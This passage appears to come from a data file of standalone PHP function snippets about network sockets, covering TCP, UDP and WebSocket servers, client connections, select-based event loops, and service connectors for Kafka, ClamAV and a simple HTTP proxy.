$aID=>$ab) {\n\t\t\t\t\tif ($r == $ab['socket']) {\n\t\t\t\t\t\tMFCGI::removeClient($ab['process']);\n\t\t\t\t\t\tMHTTPD::closeSocket($r);\n\t\t\t\t\t\tunset(MHTTPD::$aborted[$aID]);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\t// End of main loop\n\t\t\tif (MHTTPD::$debug) {cecho(\"\\n\");}\n\t\t}\n\t\t\n\t\t// Quit the server cleanly\n\t\tMHTTPD::shutdown();\n\t}", "public function __construct()\n\t{\n\t\t$configuration = new Config();\n\t\t// Configure socket server\n\t\tparent::__construct($configuration->socket_host, $configuration->socket_controller_port);\n\n\t\t// Run the server\n\t\t$this->run();\n\t}", "protected function listen()\n {\n do {\n $data = fgets($this->socket, 512);\n if (!empty($data)) {\n $request = $this->receive($data);\n $cmd = strtolower($request->getCommand());\n\n if ($cmd === 'privmsg') {\n $event_name = 'message.' . ($request->isPrivateMessage() ? 'private' : 'channel');\n } else {\n $event_name = 'server.' . $cmd;\n }\n\n // Skip processing if the incoming message is from the bot\n if ($request->getSendingUser() === $this->config['nick']) {\n continue;\n }\n\n $event = new Event($request);\n $this->dispatcher->dispatch($event_name, $event);\n $responses = $event->getResponses();\n\n if (!empty($responses)) {\n $this->send($responses);\n }\n }\n } while (!feof($this->socket));\n }", "public function listen()\n {\n if (socket_listen($this->socket) === false) {\n throw new SocketException('Couldn`t listen socket: ');\n }\n\n return $this;\n }", "public function initListeningEvent()\n {\n if(!$this->server instanceof \\Swoole\\WebSocket\\Server){\n throw new \\Exception('swoole的websocket服务还未开启');\n }\n try{\n $processor = new LoginCommonCallServiceProcessor(new LoginCommonService($this->server));\n $tFactory = new TTransportFactory();\n $pFactory = new TBinaryProtocolFactory();\n $transport = new ServerTransport($this->server);\n $server = new \\src\\Thrift\\Server\\Server($processor, $transport, $tFactory, $tFactory, $pFactory, $pFactory);\n $server->serve();\n }catch (\\TException $e){\n throw new \\Exception('thrift启动失败');\n }\n }", "public static function udp_server(): void\n {\n sock::$type = 'udp:server';\n sock::$host = '0.0.0.0';\n sock::$port = 2000;\n $ok = sock::create();\n\n if (!$ok) exit('UDP Server creation failed!');\n\n //Set Client list alone\n $client = [];\n\n do {\n //Listen to UDP port\n sock::listen($client);\n\n //Read UDP Data\n $msg = sock::read($client);\n\n var_dump($msg);\n\n } while (true);\n }", "private function startListeningTo($port) {\n $this->createListeningSocket();\n $this->bindListeningSocket($port);\n $this->listenSocket();\n }", "public function start()\n {\n $this->server->on(\"open\", [$this, 'wsOpen']);\n $this->server->on(\"message\", [$this, 'wsMessage']);\n $this->server->on(\"close\", [$this, 'wsClose']);\n\n $this->server->start();\n }", "protected function setupServers()\n\t{\n\t\t$docRoot = realpath(__DIR__ . '/..') . '/web';\n $serverPort = self::choosePort(\n self::URL_SERVER_PORT_MIN,\n self::URL_SERVER_PORT_MAX\n );\n self::$webServerUrl = self::URL_SERVER_BASE . ':' . $serverPort;\n\t\t$server = new Server($docRoot, self::$webServerUrl);\n\n\t\t// Wait for an alive response\n $integrationRoot = realpath(__DIR__ . '/..');\n\t\t$server->setRouterScriptPath($integrationRoot . '/scripts/router.php');\n\t\t$server->setCheckAliveUri('/server-check');\n\n\t\t$this->addServer($server);\n\t}", "protected function getSocketInstance(array $config)\n {\n return new Socket($config);\n }", "protected function getConfiguredSocket() {}", "protected function configureSwooleServer()\n {\n $config = $this->container['config']->get('swoole.server');\n\n $this->server->set($config);\n }", "public function __construct($stream, LoggerInterface $log)\n {\n $this->log = $log;\n $this->server = stream_socket_server($stream, $errno, $errorMessage);\n stream_set_blocking( $this->server, 0 );\n $this->client_socks = array();\n\n if ($this->server === false) {\n throw new \\Exception(\"Could not bind socket to port\");\n }\n }", "function connect_to_socket($service_port)\n{\n\t//$socket = socket_create(AF_UNIX, SOCK_STREAM, SOL_SOCKET);\n\t$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);\n\t//$socket = socket_create(AF_UNIX, SOCK_STREAM, 0);\n\tif ($socket == false)\n\t{\n\t\techo \"socket_create() failed: reason:\\n\";\n\t\techo socket_strerror(socket_last_error()) . \"</br>\";\n\t\treturn false;\n\t}\n\telse \n\t{\n\t\t$address = gethostbyname('localhost');\n\t\t$result = socket_connect($socket, $address, $service_port);\n\t\tif ($result == false)\n\t\t{\n\t\t\techo \"socket_connect() failed.<br/>Reason: ($result) \";\n\t\t\techo socket_strerror(socket_last_error($socket)) . \"\\n\";\n\t\t\treturn false;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t//Success!\n\t\t\treturn $socket;\n\t\t}\n\t}\n}", "protected function connect()\n {\n $socket = fsockopen(\n $this->address,\n $this->port,\n $this->errno,\n $this->errstr,\n $this->timeout\n );\n\n if (!$socket) {\n throw new RuntimeException(\n sprintf('Unable to connect to server: (%s) %s', $this->errno, $this->errstr)\n );\n }\n\n stream_set_blocking($socket, 0);\n\n return $socket;\n }", "protected static function socket() {\n\t\t\tif (! self::valid(self::$socket))\n self::$socket = self::socket_new();\n\t\t\treturn self::$socket;\n\t\t}", "private function socket()\n {\n if(empty(config('clamavfileupload.clamd_ip')) && empty(config('clamavfileupload.clamd_ip'))) {\n // By default we just use the local socket\n $socket = socket_create(AF_UNIX, SOCK_STREAM, 0);\n\n if(socket_connect($socket, config('clamavfileupload.clamd_sock'))) {\n $this->message = trans('clamavfileupload::clamav.socket_connected');\n return $socket;\n }\n }\n\n // Attempt to use a network based socket\n $socket = socket_create(AF_INET, SOCK_STREAM, 0);\n\n if(socket_connect($socket, config('clamavfileupload.clamd_ip'), config('clamavfileupload.clamd_ip'))) {\n $this->message = trans('clamavfileupload::clamav.socket_connected');\n return $socket;\n }\n\n $this->message = trans('clamavfileupload::clamav.unable_to_open_socket');\n return false;\n }", "public function listen(): static\n {\n $this->breakLoop = false;\n $this->listening = true;\n\n $baseTime = microtime(true);\n $times = [];\n $lastCycle = $baseTime;\n $this->generateMaps = false;\n $this->generateMaps();\n\n $this->startSignalHandlers();\n $this->breakLoop = false;\n\n while (!$this->breakLoop) {\n $socketCount = count($this->sockets);\n $streamCount = count($this->streams);\n $signalCount = count($this->signals);\n $timerCount = count($this->timers);\n\n if ($this->generateMaps) {\n $this->generateMaps();\n }\n\n $hasHandler = false;\n\n\n // Timers\n if (!empty($this->timers)) {\n $hasHandler = true;\n $time = microtime(true);\n\n foreach ($this->timers as $id => $binding) {\n if ($binding->frozen) {\n continue;\n }\n\n $dTime = $times[$id] ?? $baseTime;\n $diff = $time - $dTime;\n\n if ($diff > $binding->duration) {\n $times[$id] = $time;\n $binding->trigger(null);\n }\n }\n }\n\n\n\n // Signals\n if (!empty($this->signals) && $this->hasPcntl) {\n $hasHandler = true;\n pcntl_signal_dispatch();\n }\n\n // Sockets\n if (!empty($this->socketMap)) {\n $hasHandler = true;\n $e = null;\n\n /** @var array<int, resource|Socket> $read */\n $read = $this->socketMap[self::RESOURCE][self::READ];\n /** @var array<int, resource|Socket> $write */\n $write = $this->socketMap[self::RESOURCE][self::WRITE];\n\n try {\n /* @phpstan-ignore-next-line */\n $res = socket_select($read, $write, $e, 0, 10000);\n } catch (Throwable $e) {\n $res = false;\n }\n\n if ($res === false) {\n // TODO: deal with error\n } elseif ($res > 0) {\n foreach ($read as $resourceId => $socket) {\n foreach (Coercion::toArray(\n $this->socketMap[self::HANDLER][self::READ][$resourceId]\n ) as $id => $binding) {\n /** @var Binding $binding */\n $binding->trigger($socket);\n }\n }\n\n foreach ($write as $resourceId => $socket) {\n foreach (Coercion::toArray(\n $this->socketMap[self::HANDLER][self::WRITE][$resourceId]\n ) as $id => $binding) {\n /** @var Binding $binding */\n $binding->trigger($socket);\n }\n }\n }\n\n // TODO: add timeout handler\n }\n\n // Streams\n if (!empty($this->streamMap)) {\n $hasHandler = true;\n $e = null;\n\n /** @var array<int, resource> $read */\n $read = $this->streamMap[self::RESOURCE][self::READ];\n /** @var array<int, resource> $write */\n $write = $this->streamMap[self::RESOURCE][self::WRITE];\n\n try {\n $res = stream_select($read, $write, $e, 0, 10000);\n } catch (Throwable $e) {\n $res = false;\n }\n\n\n if ($res === false) {\n // TODO: deal with error\n } elseif ($res > 0) {\n foreach ($read as $resourceId => $stream) {\n foreach (Coercion::toArray(\n $this->streamMap[self::HANDLER][self::READ][$resourceId]\n ) as $id => $binding) {\n /** @var Binding $binding */\n $binding->trigger($stream);\n }\n }\n\n foreach ($write as $resourceId => $stream) {\n foreach (Coercion::toArray(\n $this->streamMap[self::HANDLER][self::WRITE][$resourceId]\n ) as $id => $binding) {\n /** @var Binding $binding */\n $binding->trigger($stream);\n }\n }\n }\n\n // TODO: add timeout handler\n }\n\n\n // Tick\n if (\n !$this->breakLoop &&\n $this->tickHandler\n ) {\n if (false === ($this->tickHandler)($this)) {\n $this->breakLoop = true;\n }\n }\n\n // Cycle\n if (\n !$this->breakLoop &&\n $this->cycleHandler\n ) {\n $time = microtime(true);\n\n if ($time - $lastCycle > 1) {\n $lastCycle = $time;\n\n if (false === ($this->cycleHandler)(++$this->cycles, $this)) {\n $this->breakLoop = true;\n }\n }\n }\n\n\n if (!$hasHandler) {\n $this->breakLoop = true;\n } elseif (\n $socketCount !== count($this->sockets) ||\n $streamCount !== count($this->streams) ||\n $signalCount !== count($this->signals) ||\n $timerCount !== count($this->timers)\n ) {\n $this->generateMaps = true;\n }\n\n usleep(30000);\n }\n\n $this->breakLoop = false;\n $this->listening = false;\n\n $this->stopSignalHandlers();\n\n return $this;\n }", "public function listen(ServerInterface $socket)\n {\n $socket->on('connection', array($this->parser, 'handle'));\n }", "public function run() {\n $read = array (\n 0 => $this->socket\n );\n\n foreach($this->clients as $client)\n $read[] = $client->socket;\n\n $result = @ socket_select($read, $write = null, $except = null, $this->blocking ? null : 1);\n if ($result === false || ($result === 0 && $this->blocking)) {\n $this->error('Socket Select Interruption: ' . socket_strerror(socket_last_error()));\n return false;\n }\n\n // If the master socket is in the $read array, there's a pending connection\n if (in_array($this->socket, $read))\n $this->connect();\n\n // Handle input from sockets in the $read array.\n $daemon = $this->daemon;\n $printer = function($str) use ($daemon) {\n $daemon->log($str, 'SocketServer');\n };\n\n foreach($this->clients as $slot => $client) {\n if (!in_array($client->socket, $read))\n continue;\n\n $input = socket_read($client->socket, $this->max_read);\n if ($input === null) {\n $this->disconnect($slot);\n continue;\n }\n\n $this->command($input, array($client->write, $printer));\n }\n }", "private function connect() {\n\t\tif (!$this->connected) {\n\t\t\t$this->socket = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);\n\t\t\t$this->connected = @socket_connect($this->socket, $this->host, $this->port);\n\t\t}\n\t}", "static function &creer_socket_serveur(&$liste_option, $nom_socket = \"/tmp/zsocket.sock\", $port_socket = \"\", $type_socket = \"unix\", $sort_en_erreur = false, $entete = __CLASS__) {\n\t\t$objet = new socket_serveur ( $nom_socket, $port_socket, $type_socket, $sort_en_erreur, $entete );\n\t\t$objet->_initialise ( array (\n\t\t\t\t\"options\" => $liste_option \n\t\t) );\n\t\t\n\t\treturn $objet;\n\t}", "function setServer( $address, $port ) {\n\t\t$this->address = $address;\n\t\t$this->port = $port;\n\t}", "function __construct ($server, $port, $start = TRUE) {\n $this->server = $server;\n $this->port = $port;\n\n if ($start) $this->start();\n }", "public function listenHttp($port, $host = '127.0.0.1')\n {\n $socket = new SocketServer($this->loop);\n\n $http = new HttpServer($socket);\n $http->on('request', function (Request $request, Response $response) {\n $curl = curl_init();\n\n $baseHeaders = $request->getHeaders();\n $headers = [];\n foreach ($baseHeaders as $header => $headerValue) {\n $headers[] = \"$header: $headerValue\";\n }\n\n $headers[] = 'X-Proxy: http';\n \n curl_setopt($curl, CURLOPT_URL, $request->getUrl()->__toString());\n curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);\n curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);\n curl_setopt($curl, CURLOPT_HEADER, true);\n curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);\n $data = curl_exec($curl);\n\n $parsedData = $this->parseResponse($data);\n\n $response->writeHead($parsedData['code'], $parsedData['headers']);\n $response->end($parsedData['body']);\n\n });\n\n $socket->listen($port, $host);\n }", "public function getSocket();", "public function __construct($domain=AF_INET, $type=SOCK_STREAM, $protocol=SOL_TCP)\n {\n $this->_socket = socket_create($domain, $type, $protocol);\n\n if($this->_socket === false) {\n throw new SocketException(socket_strerror(socket_last_error()), socket_last_error());\n }\n }", "public function __construct()\n {\n $this->http = new swoole_http_server(self::HOST, self::PORT);\n\n $this->http->set([\n \"enable_static_handler\" => true,\n \"document_root\" => \"/home/alex/study/thinkphp/public/static/\",\n 'worker_num' => 2,\n 'task_worker_num' => 2,\n\n ]);\n\n $this->http->on(\"WorkerStart\", [$this, 'onWorkerStart']);\n $this->http->on(\"request\", [$this, 'onRequest']);\n $this->http->on(\"task\", [$this, 'onTask']);\n $this->http->on(\"finish\", [$this, 'onFinish']);\n $this->http->on(\"close\", [$this, 'onClose']);\n\n\n $this->http->start();\n }", "private function getSocketStream()\n {\n if ($this->socketStream !== null && is_resource($this->socketStream)) return $this->socketStream;\n\n if ($this->overlapContext === null) {\n $context = stream_context_create($this->contextArgs);\n } else {\n $context = $this->overlapContext;\n }\n\n $socket = stream_socket_client($this->remoteSocket, $this->socketErrorCode, $this->socketError, $this->timeoutSeconds, $this->socketFlags, $context);\n if ($socket === false) {\n throw new SocketStreamException('Unable to create event socket stream: ' . $this->socketError . ' (' . $this->socketErrorCode . ').');\n }\n\n stream_set_blocking($socket, true);\n stream_set_timeout($socket, $this->timeoutSeconds, $this->timeoutMicroseconds);\n\n $this->socketStream = $socket;\n\n return $socket;\n }", "public function iniciar_socket(){\n\t\t$this->socket= new PHPWebSocket();\t\n\t\t\n\t\t$this->socket->bind('message', 'wsOnMessage');\n\t\t$this->socket->bind('open', 'wsOnOpen');\n\t\t$this->socket->bind('close', 'wsOnClose'); \n\n\n\t\treturn $this->socket->wsStartServer('192.168.1.104','9300');\n\t//\treturn $this->socket->wsStartServer('10.20.0.68','8180');\n\t\t\n\n\t}", "public function listen(int $port, string $host = '0.0.0.0'): void\n {\n $this->address = $port . ':' . $host;\n $factory = new Factory($this->loop);\n $factory->createServer($host . ':' . $port)->then(function (Socket $server) {\n $this->socket = $server;\n $server->on('message', function ($message) {\n $this->emit('data', [$message]);\n });\n });\n }", "public function startListening();", "public function init() {\n try {\n // check for sockets support\n if (!extension_loaded('sockets')) {\n throw new Exception('Sockets extension required!');\n }\n\n // create a socket for communication with the nameParser service\n $this->m_socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);\n // create a short timeout to not block the service\n socket_set_option($this->m_socket, SOL_SOCKET, SO_SNDTIMEO, array('sec' => Yii::app()->params['nameParser']['timeout'], 'usec' => 0));\n socket_set_option($this->m_socket, SOL_SOCKET, SO_RCVTIMEO, array('sec' => Yii::app()->params['nameParser']['timeout'], 'usec' => 0));\n // connect to the service\n $this->m_connected = socket_connect($this->m_socket, Yii::app()->params['nameParser']['address'], Yii::app()->params['nameParser']['port']);\n } catch (Exception $e) {\n error_log('[NameParser] ' . $e->getMessage());\n\n $this->m_socket = NULL;\n $this->m_connected = false;\n }\n }", "protected function createStream()\n {\n if (empty($this->host)) {\n throw new \\Kafka\\Exception('Cannot open null host.');\n }\n if ($this->port <= 0) {\n throw new \\Kafka\\Exception('Cannot open without port.');\n }\n\n $remoteSocket = sprintf('tcp://%s:%s', $this->host, $this->port);\n\n $context = stream_context_create([]);\n if ($this->config != null && $this->config->getSslEnable()) { // ssl connection\n $remoteSocket = sprintf('ssl://%s:%s', $this->host, $this->port);\n $localCert = $this->config->getSslLocalCert();\n $localKey = $this->config->getSslLocalPk();\n $verifyPeer = $this->config->getSslVerifyPeer();\n $passphrase = $this->config->getSslPassphrase();\n $cafile = $this->config->getSslCafile();\n $peerName = $this->config->getSslPeerName();\n\n $context = stream_context_create(['ssl' => [\n 'local_cert' => $localCert,\n 'local_pk' => $localKey,\n 'verify_peer' => $verifyPeer,\n 'passphrase' => $passphrase,\n 'cafile' => $cafile,\n 'peer_name' => $peerName\n ]]);\n }\n \n $this->stream = $this->createSocket($remoteSocket, $context, $errno, $errstr);\n\n if ($this->stream == false) {\n $error = 'Could not connect to '\n . $this->host . ':' . $this->port\n . ' (' . $errstr . ' [' . $errno . '])';\n throw new \\Kafka\\Exception($error);\n }\n // SASL auth\n if ($this->saslMechanismProvider !== null) {\n $this->saslMechanismProvider->authenticate($this);\n }\n }", "function socket_bind($socket, $address, $port = false)\n{\n}", "function createFHZSocket ( $address, $service_port, &$socket)\r\n{\r\n\t$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);\r\n\tif ($socket === false) {\r\n\t echo \"socket_create() failed: reason: \" . socket_strerror(socket_last_error()) . \"\\n\";\r\n\t} \r\n\telse \r\n\t{\r\n\t\t\r\n\t\t//echo \"Attempting to connect to '$address' on port '$service_port'...\";\r\n\t\t$result = socket_connect($socket, $address, $service_port);\r\n\t\tif ($result === false) {\r\n\t\t\tusleep(1);\r\n\t\t\t$result = socket_connect($socket, $address, $service_port);\r\n\t\t}\r\n\t\tif ($result === false) {\r\n\t\t\tusleep(10);\r\n\t\t\t$result = socket_connect($socket, $address, $service_port);\r\n\t\t}\r\n\t\tif ($result === false) {\r\n\t\t echo \"socket_connect() failed.\\nReason: ($result) \" . socket_strerror(socket_last_error($socket)) . \"\\n\";\r\n\t\t}\r\n\t}\r\n}", "public function PPPServer()\n {\n return new PPPServer($this->talker);\n }", "public function __construct()\n {\n parent::__construct();\n\n $this->createSocket(self::SOCKET_OUTPUT);\n $this->createSocket(self::SOCKET_ARRAY);\n $this->createSocket(self::SOCKET_INDEX);\n $this->createSocket(self::SOCKET_DATA);\n }", "protected function createSocket($remoteSocket, $context, &$errno, &$errstr)\n {\n return stream_socket_client(\n $remoteSocket,\n $errno,\n $errstr,\n $this->sendTimeoutSec + ($this->sendTimeoutUsec / 1000000),\n STREAM_CLIENT_CONNECT,\n $context\n );\n }", "public function connect(): void\n {\n if ($this->socket === null) {\n $this->socket = @fsockopen($this->host, $this->port, $errNo, $errStr);\n\n if (!$this->socket) {\n throw new FaktoryException('Unable to connect to server: ' . $errStr);\n }\n\n $hi = $this->read();\n\n if (strpos($hi, \"HI\") !== 0) {\n $this->disconnect();\n throw new FaktoryException('Did not receive HI from server');\n }\n\n $data = json_decode(substr($hi, 2), true);\n\n if ($data['v'] !== 2) {\n $this->disconnect();\n throw new FaktoryException('Unsupported server version ' . $data['v']);\n }\n\n $options = $this->workerOptions;\n $options['v'] = 2;\n\n $this->writeCommand('HELLO', json_encode($options));\n }\n }", "public function run() {\n\n if(!$this->server) {\n\n try {\n\n // initialize socket server\n $this->server = new AppServer($this->config->socket->host, $this->config->socket->port);\n\n // create application with dependencies\n $app = new Sonar(\n new StorageService($this->config->storage),\n new QueueService($this->config->beanstalk),\n new GeoService(),\n new CacheService()\n );\n $this->server->route('/sonar', $app, ['*']);\n }\n catch(QueueServiceException $e) {\n throw new AppServiceException($e->getMessage());\n }\n catch(ConnectionException $e) {\n throw new SocketServiceException($e->getMessage());\n }\n catch(StorageServiceException $e) {\n throw new AppServiceException($e->getMessage());\n }\n catch(CacheServiceException $e) {\n throw new AppServiceException($e->getMessage());\n }\n\n }\n\n if(isset($this->config->storage) === false) {\n throw new AppServiceException('There is no option `storage` in your configurations');\n }\n\n $this->server->run();\n }", "public function __construct(StandaloneServer\\Config $config, LoggerInterface $logger = null)\n {\n $this->config = $config;\n\n $curl_available = function_exists('curl_version');\n\n $this->portTester = new PortTester([\n 'backend' => $curl_available ? PortTester::BACKEND_CURL : PortTester::BACKEND_STREAM_SOCKET,\n // Close timout ms could be adjusted for your system\n // It prevent that port availability testing does\n // not close quickly enough to allow standalone server binding\n 'close_timeout_ms' => $curl_available ? null : 300\n ]);\n if ($logger === null) {\n $logger = new NullLogger();\n }\n $this->logger = $logger;\n\n $this->process = new Process();\n }", "function servicemain() {\n $http = new \\Higgs\\HttpServer();\n/*\n $http->addExtension(new \\Higgs\\Extensions\\Misc\\AddHeader([\n \"header\" => \"x-foo\",\n \"value\" => \"Hello World\"\n ]));\n*/\n $cfg = ObjMan::getObject(\"local:/config/higgs\");\n\n $exts = $cfg->query(\"/httpd/server[default]/extension\");\n foreach($exts as $ext) {\n $cn = \\Utils::getClassFromDotted($ext[0]);\n class_exists($cn);\n }\n foreach($exts as $ext) {\n $cn = \\Utils::getClassFromDotted($ext[0]);\n if (class_exists($cn)) {\n $ext = new $cn($ext->getAttributes());\n $http->addExtension($ext);\n } else {\n $this->warn(\"Could not load extension '{$ext[0]}'\");\n }\n }\n\n //$ctrl = new \\Higgs\\HttpControl();\n\n $server = new SocketServer();\n\n $ports = $cfg->query(\"/httpd/server[default]/listen\");\n foreach($ports as $ep) {\n $endpoint = $ep[0];\n if ($ep->hasAttribute(\"certificate\")) {\n $cert = new Certificate(\"server.pem\");\n $this->debug(\"Using certificate %s\", \"server.pem\");\n $info = $cert->getCertificateInfo();\n list($vfrom,$vto) = $cert->getValidity();\n $this->debug(\" Issued to: %s\", $info[\"name\"]);\n $this->debug(\" Issuer: %s (%s)\", $info[\"issuer\"][\"O\"], $info[\"issuer\"][\"OU\"]);\n $this->debug(\" Hash: 0x%s\", $info[\"hash\"]);\n $this->debug(\" Valid from: %s\", $vfrom);\n $this->debug(\" Valid until: %s\", $vto);\n if ($cert->isSelfSigned()) {\n $this->warn(\"Warning! The certificate in use is self-signed. Consider getting a proper certificate for production use.\");\n $this->warn(\"HSTS by design does not allow self-signed certificates. Enabling HSTS will not work.\");\n }\n $server->addListener($endpoint, $http, $cert);\n } else {\n $server->addListener($endpoint, $http);\n }\n }\n /*\n $server->addListener(\"tcp://127.0.0.1:9700\", $http);\n $server->addListener(\"ssl://127.0.0.1:9701\", $http, $cert);\n $server->addListener(\"tcp://127.0.0.1:9799\", $http);\n */\n while($server->process()) {\n usleep(5000);\n if ($this->stop) break;\n }\n }", "public function run(HttpServer $server = null): void\n {\n $this->startup();\n if ($server) {\n $server->addListener($this);\n $server->start();\n } else {\n $response = $this->handle(ServerRequest::fromGlobals());\n $this->emitter->emit($response);\n if ($response instanceof Response) {\n $response->end();\n }\n }\n\n $this->shutdown();\n }", "protected function setupServer()\n {\n $serverVars = $this->router->getServerVarsForUri();\n $_SERVER = array_merge($_SERVER, $serverVars);\n }", "public function __construct ( \\Hoa\\Socket\\Server $server ) {\n\n $this->_server = $server;\n $this->_server->setNodeName('\\Hoa\\Websocket\\Node');\n $this->_on = new \\Hoa\\Core\\Event\\Listener($this, array(\n 'message',\n 'close',\n 'error'\n ));\n\n return;\n }", "function ts3client_spawnNewServerConnectionHandler($port, &$result) {}", "private function init_socket() {\n\t\tif ($this->_socket) return true;\n\t\tif (!$this->osrs_environment) return false;\n\n\t\tif ($this->crypt_type == 'SSL') {\n\t\t\t$tempPortHand = $this->osrs_sslPort;\n \t$conType = 'ssl://';\n\t\t} else {\n\t\t\t$tempPortHand = $this->osrs_port;\n\t\t\t$conType = '';\n\t\t}\n \n\t\t$this->_socket = fsockopen($conType . $this->osrs_host, $tempPortHand, $this->_socketErrorNum, $this->_socketErrorMsg, $this->_socketTimeout);\n\t\tif (!$this->_socket) {\n\t\t\treturn false;\n\t\t} else {\n\t\t\treturn true;\n\t\t}\n\t}", "function start_dev_server(): void\n{\n if (optional(this()->server)->isRunning()) {\n return;\n }\n\n this()->server = new Process([\n 'php',\n '-S',\n 'localhost:3000',\n $directory = __DIR__ . '/Server',\n $directory . '/index.php',\n ]);\n\n this()->server->start();\n this()->server->waitUntil(fn ($_, $output) => str_contains($output, 'started'));\n}", "public function run() \n\t{\n\t\twhile( true ) \n\t\t{\n\t\t\tif ( empty($this->sockets) )\n\t\t\t\t$this->sockets['m'] = $this->master;\n\n\t\t\t$read = $this->sockets;\n\t\t\t$write = $except = null;\n\n\t\t\t$this->_tick();\n\t\t\t$this->tick();\n\n\t\t\t@socket_select($read, $write, $except, 1);\n\n\t\t\tforeach ( $read as $socket ) \n\t\t\t{\n\t\t\t\tif ( $socket == $this->master ) \n\t\t\t\t{\n\t\t\t\t\t$client = socket_accept($socket);\n\n\t\t\t\t\tif ( $client < 0 ) \n\t\t\t\t\t{\n\t\t\t\t\t\t$this->stderr(\"Failed: socket_accept()\");\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t} \n\t\t\t\t\telse \n\t\t\t\t\t{\n\t\t\t\t\t\t$this->connect($client);\n\t\t\t\t\t\t$this->stdout(\"Client connected. \" . $client);\n\t\t\t\t\t}\n\t\t\t\t} \n\t\t\t\telse \n\t\t\t\t{\n\t\t\t\t\t$numBytes = @socket_recv($socket, $buffer, $this->maxBufferSize, 0);\n\n\t\t\t\t\tif ( $numBytes === false ) \n\t\t\t\t\t{\n\t\t\t\t\t\t$sockErrNo = socket_last_error($socket);\n\n\t\t\t\t\t\tswitch ($sockErrNo)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tcase 102: // ENETRESET-- Network dropped connection because of reset\n\t\t\t\t\t\t\tcase 103: // ECONNABORTED -- Software caused connection abort\n\t\t\t\t\t\t\tcase 104: // ECONNRESET -- Connection reset by peer\n\t\t\t\t\t\t\tcase 108: // ESHUTDOWN-- Cannot send after transport endpoint shutdown -- probably more of an error on our part, if we're trying to write after the socket is closed.Probably not a critical error, though.\n\t\t\t\t\t\t\tcase 110: // ETIMEDOUT-- Connection timed out\n\t\t\t\t\t\t\tcase 111: // ECONNREFUSED -- Connection refused -- We shouldn't see this one, since we're listening... Still not a critical error.\n\t\t\t\t\t\t\tcase 112: // EHOSTDOWN-- Host is down -- Again, we shouldn't see this, and again, not critical because it's just one connection and we still want to listen to/for others.\n\t\t\t\t\t\t\tcase 113: // EHOSTUNREACH -- No route to host\n\t\t\t\t\t\t\tcase 121: // EREMOTEIO-- Rempte I/O error -- Their hard drive just blew up.\n\t\t\t\t\t\t\tcase 125: // ECANCELED-- Operation canceled\n\t\t\t\t\t\t\t\t$this->stderr(\"Unusual disconnect on socket \" . $socket);\n\t\t\t\t\t\t\t\t$this->disconnect($socket, true, $sockErrNo); // disconnect before clearing error, in case someone with their own implementation wants to check for error conditions on the socket.\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tdefault:\n\t\t\t\t\t\t\t\t$this->stderr('Socket error: ' . socket_strerror($sockErrNo));\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\t\t\t\t\telseif ( $numBytes == 0 ) \n\t\t\t\t\t{\n\t\t\t\t\t\t$this->disconnect($socket);\n\t\t\t\t\t\t$this->stderr(\"Client disconnected. TCP connection lost: \" . $socket);\n\t\t\t\t\t} \n\t\t\t\t\telse \n\t\t\t\t\t{\n\t\t\t\t\t\t$user = $this->getUserBySocket($socket);\n\n\t\t\t\t\t\tif ( !$user->handshake ) \n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$tmp = str_replace(\"\\r\", '', $buffer);\n\n\t\t\t\t\t\t\tif (strpos($tmp, \"\\n\\n\") === false ) \n\t\t\t\t\t\t\t\tcontinue; // If the client has not finished sending the header, then wait before sending our upgrade response.\n\n\t\t\t\t\t\t\t$this->doHandshake($user, $buffer);\n\t\t\t\t\t\t} \n\t\t\t\t\t\telse \n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t//split packet into frame and send it to deframe\n\t\t\t\t\t\t\t$this->split_packet($numBytes, $buffer, $user);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}", "public function handle()\n {\n /***** Controller Server *****/\n $host = 'localhost'; //host\n $port = '4070'; //port\n $null = NULL; //null var\n\n echo(\"========Starting=========\\n\");\n\t\t\t// Create TCP/IP sream socket\n echo(\"1. Creating socket...\\n\");\n $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);\n\t\t\t// Socket option\n echo(\"2. Setting socket options...\\n\");\n socket_set_option($socket, SOL_SOCKET, SO_REUSEADDR, 1);\n\t\t\t// Bind socket\n echo(\"3. Binding socket...\\n\");\n socket_bind($socket, 0, $port);\n\t\t\t// listen to port\n echo(\"4. Start Listener...\\n\");\n socket_listen($socket);\n\n $clients = array($socket);\n\n echo(\"Controller server is started\\n\");\n echo(\"=========================\\n\");\n while (true) {\n \t$changed = $clients;\n \tsocket_select($changed, $null, $null, 0, $null);\n\n \t//Changed will be the server #resource IF new connection is being made\n \tif (in_array($socket, $changed)) {\n //New connection incoming\n \t\t$socket_new = socket_accept($socket); //accept new socket\n \t\tsocket_getpeername($socket_new, $ip); //get ip address of connected socket\n if ($ip != env('APP_IP')){\n \t\t echo \"Client \".$ip.\" is connected\\n\";\n \t\t $clients[$ip] = $socket_new; //add socket to client array\n\t\t\t\t\t} else {\n\t\t\t\t\t array_push($clients, $socket_new); //add 'send_message' socket to clients array\n\t\t\t\t\t}\n \t\t//Clear the changed array (the server) so it won't go to the foreach below\n \t\t$found_socket = array_search($socket, $changed);\n \t\tunset($changed[$found_socket]);\n \t}\n\n \t//Changed will be the client #resource IF message from client is incoming\n \tforeach ($changed as $changed_socket) {\n // Reading incoming message first 10 chars\n \t\t$buf = @socket_read($changed_socket, 10, PHP_NORMAL_READ); //to check $buf is filled\n\t\t\t\t\tsocket_getpeername($changed_socket, $ip);\n\n \t\tif ($buf === false) { //if $buf empty\n \t\t\t$clients = array_diff($clients, array($changed_socket)); // Remove client from $clients array\n if ($ip != env('APP_IP'))\n \t\t\t echo \"$ip is disconnected\\n\";\n \t\t} else {\n \t\t\tif($ip == env('APP_IP')) { //server to controller\n\t\t\t\t\t\t\t$buf .= @socket_read($changed_socket, 2, 